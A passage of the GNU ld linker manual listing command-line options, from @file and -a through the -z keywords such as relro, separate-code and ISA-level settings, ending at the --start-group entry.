  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

-a keyword
This option is supported for HP/UX compatibility. The keyword argument must be one of the strings archive, shared, or default. -aarchive is functionally equivalent to -Bstatic, and the other two keywords are functionally equivalent to -Bdynamic. This option may be used any number of times.

–audit AUDITLIB
Adds AUDITLIB to the DT_AUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_AUDIT will contain a colon separated list of audit interfaces to use. If the linker finds an object with an audit entry while searching for shared libraries, it will add a corresponding DT_DEPAUDIT entry in the output file. This option is only meaningful on ELF platforms supporting the rtld-audit interface.

-b input-format

–format=input-format

ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the -b option to specify the binary format for input object files that follow this option on the command line. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to expect as a default input format the most usual format on each machine. input-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) You may want to use this option if you are linking files with an unusual binary format. You can also use -b to switch formats explicitly (when linking object files of different formats), by including -b input-format before each group of object files in a particular format. The default format is taken from the environment variable GNUTARGET. You can also define the input format from a script, using the command TARGET;

-c MRI-commandfile

–mri-script=MRI-commandfile

For compatibility with linkers produced by MRI, ld accepts script files written in an alternate, restricted command language, described in the MRI Compatible Script Files section of GNU ld documentation. Introduce MRI script files with the option -c; use the -T option to run linker scripts written in the general-purpose ld scripting language. If MRI-cmdfile does not exist, ld looks for it in the directories specified by any -L options.

-d

-dc

-dp

These three options are equivalent; multiple forms are supported for compatibility with other linkers. They assign space to common symbols even if a relocatable output file is specified (with -r). The script command FORCE_COMMON_ALLOCATION has the same effect.

–depaudit AUDITLIB

-P AUDITLIB

Adds AUDITLIB to the DT_DEPAUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_DEPAUDIT will contain a colon separated list of audit interfaces to use. This option is only meaningful on ELF platforms supporting the rtld-audit interface. The -P option is provided for Solaris compatibility.

–enable-linker-version
Enables the LINKER_VERSION linker script directive, described in Output Section Data. If this directive is used in a linker script and this option has been enabled then a string containing the linker version will be inserted at the current point. Note - this location of this option on the linker command line is significant. It will only affect linker scripts that come after it on the command line, or which are built into the linker.

–disable-linker-version
Disables the LINKER_VERSION linker script directive, so that it does not insert a version string. This is the default.

–enable-non-contiguous-regions
This option avoids generating an error if an input section does not fit a matching output section. The linker tries to allocate the input section to subseque nt matching output sections, and generates an error only if no output section is large enough. This is useful when several non-contiguous memory regions are available and the input section does not require a particular one. The order in which input sections are evaluated does not change, for instance: MEMORY { MEM1 (rwx) : ORIGIN = 0x1000, LENGTH = 0x14 MEM2 (rwx) : ORIGIN = 0x1000, LENGTH = 0x40 MEM3 (rwx) : ORIGIN = 0x2000, LENGTH = 0x40 } SECTIONS { mem1 : { *(.data.*); } > MEM1 mem2 : { *(.data.*); } > MEM2 mem3 : { *(.data.*); } > MEM3 } with input sections: .data.1: size 8 .data.2: size 0x10 .data.3: size 4 results in .data.1 affected to mem1, and .data.2 and .data.3 affected to mem2, even though .data.3 would fit in mem3. This option is incompatible with INSERT statements because it changes the way input sections are mapped to output sections.

–enable-non-contiguous-regions-warnings
This option enables warnings when --enable-non-contiguous-regions allows possibly unexpected matches in sections mapping, potentially leading to silently discarding a section instead of failing because it does not fit any output region.

-e entry

–entry=entry

Use entry as the explicit symbol for beginning execution of your program, rather than the default entry point. If there is no symbol named entry, the linker will try to parse entry as a number, and use that as the entry address (the number will be interpreted in base 10; you may use a leading 0x for base 16, or a leading 0 for base 8).

–exclude-libs lib,lib,…
Specifies a list of archive libraries from which symbols should not be automatically exported. The library names may be delimited by commas or colons. Specifying --exclude-libs ALL excludes symbols in all archive libraries from automatic export. This option is available only for the i386 PE targeted port of the linker and for ELF targeted ports. For i386 PE, symbols explicitly listed in a .def file are still exported, regardless of this option. For ELF targeted ports, symbols affected by this option will be treated as hidden.

–exclude-modules-for-implib module,module,…
Specifies a list of object files or archive members, from which symbols should not be automatically exported, but which should be copied wholesale into the import library being generated during the link. The module names may be delimited by commas or colons, and must match exactly the filenames used by ld to open the files; for archive members, this is simply the member name, but for object files the name listed must include and match precisely any path used to specify the input file on the linker’s command-line. This option is available only for the i386 PE targeted port of the linker. Symbols explicitly listed in a .def file are still exported, regardless of this option.

-E

–export-dynamic

–no-export-dynamic

When creating a dynamically linked executable, using the -E option or the –export-dynamic option causes the linker to add all symbols to the dynamic symbol table. The dynamic symbol table is the set of symbols which are visible from dynamic objects at run time. If you do not use either of these options (or use the –no-export-dynamic option to restore the default behavior), the dynamic symbol table will normally contain only those symbols which are referenced by some dynamic object mentioned in the link. If you use dlopen to load a dynamic object which needs to refer back to the symbols defined by the program, rather than some other dynamic object, then you will probably need to use this option when linking the program itself. You can also use the dynamic list to control what symbols should be added to the dynamic symbol table if the output format supports it. See the description of –dynamic-list. Note that this option is specific to ELF targeted ports. PE targets support a similar function to export all symbols from a DLL or EXE; see the description of –export-all-symbols below.

–export-dynamic-symbol=glob
When creating a dynamically linked executable, symbols matching glob will be added to the dynamic symbol table. When creating a shared library, references to symbols matching glob will not be bound to the definitions within the shared library. This option is a no-op when creating a shared library and -Bsymbolic or –dynamic-list are not specified. This option is only meaningful on ELF platforms which support shared libraries.

–export-dynamic-symbol-list=file
Specify a –export-dynamic-symbol for each pattern in the file. The format of the file is the same as the version node without scope and node name. See VERSION for more information.

-EB
Link big-endian objects. This affects the default output format.

-EL
Link little-endian objects. This affects the default output format.

-f name

–auxiliary=name

When creating an ELF shared object, set the internal DT_AUXILIARY field to the specified name. This tells the dynamic linker that the symbol table of the shared object should be used as an auxiliary filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_AUXILIARY field. If the dynamic linker resolves any symbols from the filter object, it will first check whether there is a definition in the shared object name. If there is one, it will be used instead of the definition in the filter object. The shared object name need not exist. Thus the shared object name may be used to provide an alternative implementation of certain functions, perhaps for debugging or for machine-specific performance. This option may be specified more than once. The DT_AUXILIARY entries will be created in the order in which they appear on the command line.

-F name

–filter=name

When creating an ELF shared object, set the internal DT_FILTER field to the specified name. This tells the dynamic linker that the symbol table of the shared object which is being created should be used as a filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_FILTER field. The dynamic linker will resolve symbols according to the symbol table of the filter object as usual, but it will actually link to the definitions found in the shared object name. Thus the filter object can be used to select a subset of the symbols provided by the object name. Some older linkers used the -F option throughout a compilation toolchain for specifying object-file format for both input and output object files. The GNU linker uses other mechanisms for this purpose: the -b, –format, –oformat options, the TARGET command in linker scripts, and the GNUTARGET environment variable. The GNU linker will ignore the -F option when not creating an ELF shared object.

-fini=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is unloaded, by setting DT_FINI to the address of the function. By default, the linker uses _fini as the function to call.

-g
Ignored. Provided for compatibility with other tools.

-G value

–gpsize=value

Set the maximum size of objects to be optimized using the GP register to size. This is only meaningful for object file formats such as MIPS ELF that support putting large and small objects into different sections. This is ignored for other object file formats.

-h name

-soname=name

When creating an ELF shared object, set the internal DT_SONAME field to the specified name. When an executable is linked with a shared object which has a DT_SONAME field, then when the executable is run the dynamic linker will attempt to load the shared object specified by the DT_SONAME field rather than using the file name given to the linker.

-i
Perform an incremental link (same as option -r).

-init=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is loaded, by setting DT_INIT to the address of the function. By default, the linker uses _init as the function to call.

-l namespec

–library=namespec

Add the archive or object file specified by namespec to the list of files to link. This option may be used any number of times. If namespec is of the form :filename, ld will search the library path for a file called filename, otherwise it will search the library path for a file called libnamespec.a. On systems which support shared libraries, ld may also search for files other than libnamespec.a. Specifically, on ELF and SunOS systems, ld will search a directory for a library called libnamespec.so before searching for one called libnamespec.a. (By convention, a .so extension indicates a shared library.) Note that this behavior does not apply to :filename, which always specifies a file called filename. The linker will search an archive only once, at the location where it is specified on the command line. If the archive defines a symbol which was undefined in some object which appeared before the archive on the command line, the linker will include the appropriate file(s) from the archive. However, an undefined symbol in an object appearing later on the command line will not cause the linker to search the archive again. See the -( option for a way to force the linker to search archives multiple times. You may list the same archive multiple times on the command line. This type of archive searching is standard for Unix linkers. However, if you are using ld on AIX, note that it is different from the behaviour of the AIX linker.

-L searchdir

–library-path=searchdir

Add path searchdir to the list of paths that ld will search for archive libraries and ld control scripts. You may use this option any number of times. The directories are searched in the order in which they are specified on the command line. Directories specified on the command line are searched before the default directories. All -L options apply to all -l options, regardless of the order in which the options appear. -L options do not affect how ld searches for a linker script unless -T option is specified. If searchdir begins with = or $SYSROOT, then this prefix will be replaced by the sysroot prefix, controlled by the –sysroot option, or specified when the linker is configured. The default set of paths searched (without being specified with -L) depends on which emulation mode ld is using, and in some cases also on how it was configured. The paths can also be specified in a link script with the SEARCH_DIR command. Directories specified this way are searched at the point in which the linker script appears in the command line.

-m emulation
Emulate the emulation linker. You can list the available emulations with the –verbose or -V options. If the -m option is not used, the emulation is taken from the LDEMULATION environment variable, if that is defined. Otherwise, the default emulation depends upon how the linker was configured.

–remap-inputs=pattern=filename

–remap-inputs-file=file

These options allow the names of input files to be changed before the linker attempts to open them. The option –remap-inputs=foo.o=bar.o will cause any attempt to load a file called foo.o to instead try to load a file called bar.o. Wildcard patterns are permitted in the first filename, so –remap-inputs=foo*.o=bar.o will rename any input file that matches foo*.o to bar.o. An alternative form of the option –remap-inputs-file=filename allows the remappings to be read from a file. Each line in the file can contain a single remapping. Blank lines are ignored. Anything from a hash character (#) to the end of a line is considered to be a comment and is also ignored. The mapping pattern can be separated from the filename by whitespace or an equals (=) character. The options can be specified multiple times. Their contents accumulate. The remappings will be processed in the order in which they occur on the command line, and if they come from a file, in the order in which they occur in the file. If a match is made, no further checking for that filename will be performed. If the replacement filename is /dev/null or just NUL then the remapping will actually cause the input file to be ignored. This can be a convenient way to experiment with removing input files from a complicated build environment. Note that this option is position dependent and only affects filenames that come after it on the command line. Thus: ld foo.o –remap-inputs=foo.o=bar.o Will have no effect, whereas: ld –remap-inputs=foo.o=bar.o foo.o Will rename the input file foo.o to bar.o. Note - these options also affect files referenced by INPUT statements in linker scripts. But since linker scripts are processed after the entire command line is read, the position of the remap options on the command line is not significant. If the verbose option is enabled then any mappings that match will be reported, although again the verbose option needs to be enabled on the command line before the remaped filenames appear. If the -Map or –print-map options are enabled then the remapping list will be included in the map output.

-M

–print-map

Print a link map to the standard output. A link map provides information about the link, including the following:

  • Where object files are mapped into memory.

  • How common symbols are allocated.

  • All archive members included in the link, with a mention of the symbol which caused the archive member to be brought in.

  • The values assigned to symbols. Note - symbols whose values are computed by an expression which involves a reference to a previous value of the same symbol may not have correct result displayed in the link map. This is because the linker discards intermediate results and only retains the final value of an expression. Under such circumstances the linker will display the final value enclosed by square brackets. Thus for example a linker script containing: foo = 1 foo = foo * 4 foo = foo + 8 will produce the following output in the link map if the -M option is used: 0x00000001 foo = 0x1 [0x0000000c] foo = (foo * 0x4) [0x0000000c] foo = (foo + 0x8) See Expressions for more information about expressions in linker scripts.

  • How GNU properties are merged. When the linker merges input .note.gnu.property sections into one output .note.gnu.property section, some properties are removed or updated. These actions are reported in the link map. For example: Removed property 0xc0000002 to merge foo.o (0x1) and bar.o (not found) This indicates that property 0xc0000002 is removed from output when merging properties in foo.o, whose property 0xc0000002 value is 0x1, and bar.o, which doesn’t have property 0xc0000002. Updated property 0xc0010001 (0x1) to merge foo.o (0x1) and bar.o (0x1) This indicates that property 0xc0010001 value is updated to 0x1 in output when merging properties in foo.o, whose 0xc0010001 property value is 0x1, and bar.o, whose 0xc0010001 property value is 0x1.

  • On some ELF targets, a list of fixups inserted by –relax foo.o: Adjusting branch at 0x00000008 towards “far” in section .text This indicates that the branch at 0x00000008 in foo.o, targeting the symbol “far” in section .text, has been replaced by a trampoline.

–print-map-discarded

–no-print-map-discarded

Print (or do not print) the list of discarded and garbage collected sections in the link map. Enabled by default.

–print-map-locals

–no-print-map-locals

Print (or do not print) local symbols in the link map. Local symbols will have the text (local) printed before their name, and will be listed after all of the global symbols in a given section. Temporary local symbols (typically those that start with .L) will not be included in the output. Disabled by default.

-n

–nmagic

Turn off page alignment of sections, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as NMAGIC.

-N

–omagic

Set the text and data sections to be readable and writable. Also, do not page-align the data segment, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as OMAGIC. Note: Although a writable text section is allowed for PE-COFF targets, it does not conform to the format specification published by Microsoft.

–no-omagic
This option negates most of the effects of the -N option. It sets the text section to be read-only, and forces the data segment to be page-aligned. Note - this option does not enable linking against shared libraries. Use -Bdynamic for this.

-o output

–output=output

Use output as the name for the program produced by ld; if this option is not specified, the name a.out is used by default. The script command OUTPUT can also specify the output file name. Note - the linker will delete the output file before it starts to write to it. It will do this even if it turns out that the link cannot be completed due to errors. Note - the linker will check to make sure that the output file name does not match the name of any of the input files, but that is all. In particular it will not complain if the output file might overwrite a source file or some other important file. Therefore in build systems it is recommended to use the -o option as the last option on the linker command line. For example consider: ld -o $(EXE) $(OBJS) ld $(OBJS) -o $(EXE) If the EXE variable is not defined for some reason, the first version of the linker command could end up deleting one of the object files (the first one in the OBJS list) whereas the second version of the linker command will generate an error message and not delete anything.

–dependency-file=depfile
Write a dependency file to depfile. This file contains a rule suitable for make describing the output file and all the input files that were read to produce it. The output is similar to the compiler’s output with -M -MP. Note that there is no option like the compiler’s -MM, to exclude “system files” (which is not a well-specified concept in the linker, unlike “system headers” in the compiler). So the output from –dependency-file is always specific to the exact state of the installation where it was produced, and should not be copied into distributed makefiles without careful editing.

-O level
If level is a numeric values greater than zero ld optimizes the output. This might take significantly longer and therefore probably should only be enabled for the final binary. At the moment this option only affects ELF shared library generation. Future releases of the linker may make more use of this option. Also currently there is no difference in the linker’s behaviour for different non-zero values of this option. Again this may change with future releases.

-plugin name
Involve a plugin in the linking process. The name parameter is the absolute filename of the plugin. Usually this parameter is automatically added by the compiler, when using link time optimization, but users can also add their own plugins if they so wish. Note that the location of the compiler originated plugins is different from the place where the ar, nm and ranlib programs search for their plugins. In order for those commands to make use of a compiler based plugin it must first be copied into the ${libdir}/bfd-plugins directory. All gcc based linker plugins are backward compatible, so it is sufficient to just copy in the newest one.

–push-state
The –push-state allows one to preserve the current state of the flags which govern the input file handling so that they can all be restored with one corresponding –pop-state option. The option which are covered are: -Bdynamic, -Bstatic, -dn, -dy, -call_shared, -non_shared, -static, -N, -n, –whole-archive, –no-whole-archive, -r, -Ur, –copy-dt-needed-entries, –no-copy-dt-needed-entries, –as-needed, –no-as-needed, and -a. One target for this option are specifications for pkg-config. When used with the –libs option all possibly needed libraries are listed and then possibly linked with all the time. It is better to return something as follows: -Wl,–push-state,–as-needed -libone -libtwo -Wl,–pop-state

–pop-state
Undoes the effect of –push-state, restores the previous values of the flags governing input file handling.

-q

–emit-relocs

Leave relocation sections and contents in fully linked executables. Post link analysis and optimization tools may need this information in order to perform correct modifications of executables. This results in larger executables. This option is currently only supported on ELF platforms.

–force-dynamic
Force the output file to have dynamic sections. This option is specific to VxWorks targets.

-r

–relocatable

Generate relocatable output—i.e., generate an output file that can in turn serve as input to ld. This is often called partial linking. As a side effect, in environments that support standard Unix magic numbers, this option also sets the output file’s magic number to OMAGIC. If this option is not specified, an absolute file is produced. When linking C++ programs, this option will not resolve references to constructors; to do that, use -Ur. When an input file does not have the same format as the output file, partial linking is only supported if that input file does not contain any relocations. Different output formats can have further restrictions; for example some a.out-based formats do not support partial linking with input files in other formats at all. This option does the same thing as -i.

-R filename

–just-symbols=filename

Read symbol names and their addresses from filename, but do not relocate it or include it in the output. This allows your output file to refer symbolically to absolute locations of memory defined in other programs. You may use this option more than once. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

–rosegment

–no-rosegment

Attempt to ensure that only a single read-only, non-code segment is created. Only useful when used in conjunction with the -z separate-code option. The resulting binaries should be smaller than if -z separate-code is used on its own. Without this option, or if –no-rosegment is specified, the -z separate-code option will create two read-only segments, one before the code segment and one after it. The name of the options are misleading, but they have been chosen in order for the linker to be compatible with the LLD and GOLD linkers. Thse options are only supported by ELF targets.

-s

–strip-all

Omit all symbol information from the output file.

-S

–strip-debug

Omit debugger symbol information (but not all symbols) from the output file.

–strip-discarded

–no-strip-discarded

Omit (or do not omit) global symbols defined in discarded sections. Enabled by default.

-plugin-save-temps
Store the plugin “temporary” intermediate files permanently.

-t

–trace

Print the names of the input files as ld processes them. If -t is given twice then members within archives are also printed. -t output is useful to generate a list of all the object files and scripts involved in linking, for example, when packaging files for a linker bug report.

-T scriptfile

–script=scriptfile

Use scriptfile as the linker script. This script replaces ld’s default linker script (rather than adding to it), unless the script contains INSERT, so commandfile must specify everything necessary to describe the output file. If scriptfile does not exist in the current directory, ld looks for it in the directories specified by any preceding -L options. Command line options that appear before the -T option can affect the script, but command line options that appear after it do not. Multiple -T options will accumulate if they are augmenting the current script, otherwise the last, non-augmenting, -T option will be used. There are other ways of specifying linker scripts. See

-dT scriptfile

–default-script=scriptfile

Use scriptfile as the default linker script. This option is similar to the –script option except that processing of the script is delayed until after the rest of the command line has been processed. This allows options placed after the –default-script option on the command line to affect the behaviour of the linker script, which can be important when the linker command line cannot be directly controlled by the user. (eg because the command line is being constructed by another tool, such as gcc).

-u symbol

–undefined=symbol

Force symbol to be entered in the output file as an undefined symbol. Doing this may, for example, trigger linking of additional modules from standard libraries. -u may be repeated with different option arguments to enter additional undefined symbols. This option is equivalent to the EXTERN linker script command. If this option is being used to force additional modules to be pulled into the link, and if it is an error for the symbol to remain undefined, then the option –require-defined should be used instead.

–require-defined=symbol
Require that symbol is defined in the output file. This option is the same as option –undefined except that if symbol is not defined in the output file then the linker will issue an error and exit. The same effect can be achieved in a linker script by using EXTERN, ASSERT and DEFINED together. This option can be used multiple times to require additional symbols.

-Ur
For programs that do not use constructors or destructors, or for ELF based systems this option is equivalent to -r: it generates relocatable output—i.e., an output file that can in turn serve as input to ld. For other binaries however the -Ur option is similar to -r but it also resolves references to constructors and destructors. For those systems where -r and -Ur behave differently, it does not work to use -Ur on files that were themselves linked with -Ur; once the constructor table has been built, it cannot be added to. Use -Ur only for the last partial link, and -r for the others.

–orphan-handling=MODE
Control how orphan sections are handled. An orphan section is one not specifically mentioned in a linker script. MODE can have any of the following values:

“place”
Orphan sections are placed into a suitable output section following the strategy described in Orphan Sections. The option –unique also affects how sections are placed.

“discard”
All orphan sections are discarded, by placing them in the /DISCARD/ section.

“warn”
The linker will place the orphan section as for place and also issue a warning.

“error”
The linker will exit with an error if any orphan section is found.

The default if –orphan-handling is not given is place.

–unique[=SECTION]
Creates a separate output section for every input section matching SECTION, or if the optional wildcard SECTION argument is missing, for every orphan input section. An orphan section is one not specifically mentioned in a linker script. You may use this option multiple times on the command line; It prevents the normal merging of input sections with the same name, overriding output section assignments in a linker script.

-v

–version

-V

Display the version number for ld. The -V option also lists the supported emulations. See also the description of the –enable-linker-version in Options,,Command-line Options which can be used to insert the linker version string into a binary.

-x

–discard-all

Delete all local symbols.

-X

–discard-locals

Delete all temporary local symbols. (These symbols start with system-specific local label prefixes, typically .L for ELF systems or L for traditional a.out systems.)

-y symbol

–trace-symbol=symbol

Print the name of each linked file in which symbol appears. This option may be given any number of times. On many systems it is necessary to prepend an underscore. This option is useful when you have an undefined symbol in your link but don’t know where the reference is coming from.

-Y path
Add path to the default library search path. This option exists for Solaris compatibility.

-z keyword
The recognized keywords are:

call-nop=prefix-addr

call-nop=suffix-nop

call-nop=prefix-byte

call-nop=suffix-byte

Specify the 1-byte NOP padding when transforming indirect call to a locally defined function, foo, via its GOT slot. call-nop=prefix-addr generates 0x67 call foo. call-nop=suffix-nop generates call foo 0x90. **call-nop=prefix-**byte generates byte call foo. **call-nop=suffix-byte generates call foo byte. Supported for i386 and x86_64.

cet-report=none

cet-report=warning

cet-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_IBT and GNU_PROPERTY_X86_FEATURE_1_SHSTK properties in input .note.gnu.property section. cet-report=none, which is the default, will make the linker not report missing properties in input files. cet-report=warning will make the linker issue a warning for missing properties in input files. cet-report=error will make the linker issue an error for missing properties in input files. Note that ibt will turn off the missing GNU_PROPERTY_X86_FEATURE_1_IBT property report and shstk will turn off the missing GNU_PROPERTY_X86_FEATURE_1_SHSTK property report. Supported for Linux/i386 and Linux/x86_64.

combreloc

nocombreloc

Combine multiple dynamic relocation sections and sort to improve dynamic symbol lookup caching. Do not do this if nocombreloc.

common

nocommon

Generate common symbols with STT_COMMON type during a relocatable link. Use STT_OBJECT type if nocommon.

common-page-size=value
Set the page size most commonly used to value. Memory image layout will be optimized to minimize memory pages if the system is using pages of this size.

defs
Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. This option is the inverse of -z undefs.

dynamic-undefined-weak

nodynamic-undefined-weak

Make undefined weak symbols dynamic when building a dynamic object, if they are referenced from a regular object file and not forced local by symbol visibility or versioning. Do not make them dynamic if nodynamic-undefined-weak. If neither option is given, a target may default to either option being in force, or make some other selection of undefined weak symbols dynamic. Not all targets support these options.

execstack
Marks the object as requiring executable stack.

global
This option is only meaningful when building a shared object. It makes the symbols defined by this shared object available for symbol resolution of subsequently loaded libraries.

globalaudit
This option is only meaningful when building a dynamic executable. This option marks the executable as requiring global auditing by setting the DF_1_GLOBAUDIT bit in the DT_FLAGS_1 dynamic tag. Global auditing requires that any auditing library defined via the –depaudit or -P command-line options be run for all dynamic objects loaded by the application.

ibtplt
Generate Intel Indirect Branch Tracking (IBT) enabled PLT entries. Supported for Linux/i386 and Linux/x86_64.

ibt
Generate GNU_PROPERTY_X86_FEATURE_1_IBT in .note.gnu.property section to indicate compatibility with IBT. This also implies ibtplt. Supported for Linux/i386 and Linux/x86_64.

indirect-extern-access

noindirect-extern-access

Generate GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS in .note.gnu.property section to indicate that object file requires canonical function pointers and cannot be used with copy relocation. This option also implies noextern-protected-data and nocopyreloc. Supported for i386 and x86-64. noindirect-extern-access removes GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS from .note.gnu.property section.

initfirst
This option is only meaningful when building a shared object. It marks the object so that its runtime initialization will occur before the runtime initialization of any other objects brought into the process at the same time. Similarly the runtime finalization of the object will occur after the runtime finalization of any other objects.

interpose
Specify that the dynamic loader should modify its symbol search order so that symbols in this shared library interpose all other shared libraries not so marked.

unique

nounique

When generating a shared library or other dynamically loadable ELF object mark it as one that should (by default) only ever be loaded once, and only in the main namespace (when using dlmopen). This is primarily used to mark fundamental libraries such as libc, libpthread et al which do not usually function correctly unless they are the sole instances of themselves. This behaviour can be overridden by the dlmopen caller and does not apply to certain loading mechanisms (such as audit libraries).

lam-u48
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U48 in .note.gnu.property section to indicate compatibility with Intel LAM_U48. Supported for Linux/x86_64.

lam-u57
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U57 in .note.gnu.property section to indicate compatibility with Intel LAM_U57. Supported for Linux/x86_64.

lam-u48-report=none

lam-u48-report=warning

lam-u48-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 property in input .note.gnu.property section. lam-u48-report=none, which is the default, will make the linker not report missing properties in input files. lam-u48-report=warning will make the linker issue a warning for missing properties in input files. lam-u48-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-u57-report=none

lam-u57-report=warning

lam-u57-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U57 property in input .note.gnu.property section. lam-u57-report=none, which is the default, will make the linker not report missing properties in input files. lam-u57-report=warning will make the linker issue a warning for missing properties in input files. lam-u57-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-report=none

lam-report=warning

lam-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 and GNU_PROPERTY_X86_FEATURE_1_LAM_U57 properties in input .note.gnu.property section. lam-report=none, which is the default, will make the linker not report missing properties in input files. lam-report=warning will make the linker issue a warning for missing properties in input files. lam-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lazy
When generating an executable or shared library, mark it to tell the dynamic linker to defer function call resolution to the point when the function is called (lazy binding), rather than at load time. Lazy binding is the default.

loadfltr
Specify that the object’s filters be processed immediately at runtime.

max-page-size=value
Set the maximum memory page size supported to value.

mark-plt

nomark-plt

Mark PLT entries with dynamic tags, DT_X86_64_PLT, DT_X86_64_PLTSZ and DT_X86_64_PLTENT. Since this option stores a non-zero value in the r_addend field of R_X86_64_JUMP_SLOT relocations, the resulting executables and shared libraries are incompatible with dynamic linkers, such as those in older versions of glibc without the change to ignore r_addend in R_X86_64_GLOB_DAT and R_X86_64_JUMP_SLOT relocations, which don’t ignore the r_addend field of R_X86_64_JUMP_SLOT relocations. Supported for x86_64.

muldefs
Allow multiple definitions.

nocopyreloc
Disable linker generated .dynbss variables used in place of variables defined in shared libraries. May result in dynamic text relocations.

nodefaultlib
Specify that the dynamic loader search for dependencies of this object should ignore any default library search paths.

nodelete
Specify that the object shouldn’t be unloaded at runtime.

nodlopen
Specify that the object is not available to dlopen.

nodump
Specify that the object can not be dumped by dldump.

noexecstack
Marks the object as not requiring executable stack.

noextern-protected-data
Don’t treat protected data symbols as external when building a shared library. This option overrides the linker backend default. It can be used to work around incorrect relocations against protected data symbols generated by compiler. Updates on protected data symbols by another module aren’t visible to the resulting shared library. Supported for i386 and x86-64.

noreloc-overflow
Disable relocation overflow check. This can be used to disable relocation overflow check if there will be no dynamic relocation overflow at run-time. Supported for x86_64.

now
When generating an executable or shared library, mark it to tell the dynamic linker to resolve all symbols when the program is started, or when the shared library is loaded by dlopen, instead of deferring function call resolution to the point when the function is first called.

origin
Specify that the object requires $ORIGIN handling in paths.

pack-relative-relocs

nopack-relative-relocs

Generate compact relative relocation in position-independent executable and shared library. It adds DT_RELR, DT_RELRSZ and DT_RELRENT entries to the dynamic section. It is ignored when building position-dependent executable and relocatable output. nopack-relative-relocs is the default, which disables compact relative relocation. When linked against the GNU C Library, a GLIBC_ABI_DT_RELR symbol version dependency on the shared C Library is added to the output. Supported for i386 and x86-64.

relro

norelro

Create an ELF PT_GNU_RELRO segment header in the object. This specifies a memory segment that should be made read-only after relocation, if supported. Specifying common-page-size smaller than the system page size will render this protection ineffective. Don’t create an ELF PT_GNU_RELRO segment if norelro.

report-relative-reloc
Report dynamic relative relocations generated by linker. Supported for Linux/i386 and Linux/x86_64.

sectionheader

nosectionheader

Generate section header. Don’t generate section header if nosectionheader is used. sectionheader is the default.

separate-code

noseparate-code

Create separate code PT_LOAD segment header in the object. This specifies a memory segment that should contain only instructions and must be in wholly disjoint pages from any other data. Don’t create separate code PT_LOAD segment if noseparate-code is used.

shstk
Generate GNU_PROPERTY_X86_FEATURE_1_SHSTK in .note.gnu.property section to indicate compatibility with Intel Shadow Stack. Supported for Linux/i386 and Linux/x86_64.

stack-size=value
Specify a stack size for an ELF PT_GNU_STACK segment. Specifying zero will override any default non-zero sized PT_GNU_STACK segment creation.

start-stop-gc

nostart-stop-gc

When –gc-sections is in effect, a reference from a retained section to _ _start_SECNAME or _ _stop_SECNAME causes all input sections named SECNAME to also be retained, if SECNAME is representable as a C identifier and either _ _start_SECNAME or _ _stop_SECNAME is synthesized by the linker. -z start-stop-gc disables this effect, allowing sections to be garbage collected as if the special synthesized symbols were not defined. -z start-stop-gc has no effect on a definition of _ _start_SECNAME or _ _stop_SECNAME in an object file or linker script. Such a definition will prevent the linker providing a synthesized _ _start_SECNAME or _ _stop_SECNAME respectively, and therefore the special treatment by garbage collection for those references.

start-stop-visibility=value
Specify the ELF symbol visibility for synthesized _ _start_SECNAME and _ _stop_SECNAME symbols. value must be exactly default, internal, hidden, or protected. If no -z start-stop-visibility option is given, protected is used for compatibility with historical practice. However, it’s highly recommended to use -z start-stop-visibility=hidden in new programs and shared libraries so that these symbols are not exported between shared objects, which is not usually what’s intended.

text

notext

textoff

Report an error if DT_TEXTREL is set, i.e., if the position-independent or shared object has dynamic relocations in read-only sections. Don’t report an error if notext or textoff.

undefs
Do not report unresolved symbol references from regular object files, either when creating an executable, or when creating a shared library. This option is the inverse of -z defs.

unique-symbol

nounique-symbol

Avoid duplicated local symbol names in the symbol string table. Append “.number” to duplicated local symbol names if unique-symbol is used. nounique-symbol is the default.

x86-64-baseline

x86-64-v2

x86-64-v3

x86-64-v4

Specify the x86-64 ISA level needed in .note.gnu.property section. x86-64-baseline generates GNU_PROPERTY_X86_ISA_1_BASELINE. x86-64-v2 generates GNU_PROPERTY_X86_ISA_1_V2. x86-64-v3 generates GNU_PROPERTY_X86_ISA_1_V3. x86-64-v4 generates GNU_PROPERTY_X86_ISA_1_V4. Supported for Linux/i386 and Linux/x86_64.

isa-level-report=none

isa-level-report=all

isa-level-report=needed

isa-level-report=used

Specify how to report x86-64 ISA levels in input relocatable files. isa-level-report=none, which is the default, will make the linker not report x86-64 ISA levels in input files. isa-level-report=all will make the linker report needed and used x86-64 ISA levels in input files. isa-level-report=needed will make the linker report needed x86-64 ISA levels in input files. isa-level-report=used will make the linker report used x86-64 ISA levels in input files. Supported for Linux/i386 and Linux/x86_64.

Other keywords are ignored for Solaris compatibility.

-( archives -)

–start-group archives –end-group

